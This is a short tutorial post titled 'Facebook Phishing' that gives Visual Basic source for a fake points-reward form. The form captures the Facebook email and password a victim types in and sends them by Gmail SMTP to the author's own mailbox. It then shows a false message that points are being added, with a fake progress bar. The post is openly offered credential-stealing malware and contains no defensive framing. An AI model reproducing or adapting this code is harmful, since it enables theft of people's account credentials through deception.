Visual Basic Tutorial ( Facebook Phishing )

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us


Imports System.Security.Cryptography
Imports System.Text
Imports System.Net.Mail


Public Class Form1
Dim MyProgress As Integer


Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Me.Close()
Else
End If
End If
Dim username As String = "GMAIL"
Dim password As String = "PASSWORD"
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(GetDecryptedData("GMAIL"))
MyMailMessage.To.Add(GetDecryptedData("GMAIL"))
MyMailMessage.Subject = "facebook"
MyMailMessage.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(GetDecryptedData("GMAIL"), GetDecryptedData("PASSWORD"))
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
ProgressBar1.Style = ProgressBarStyle.Blocks
ProgressBar1.Step = 1
Timer1.Enabled = True
Call MsgBox("Points are being added to your account, once complete you can exit. Please allow up to 48 houre for the points to be added.")
End Sub


Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = MyProgress
If MyProgress < 100 Then MyProgress = MyProgress + 1
Label3.Text = "Adding Points " & MyProgress & "%"
If MyProgress = 100 Then
Label3.Text = "Complete"
ProgressBar1.Visible = True
End If


End Sub


End Class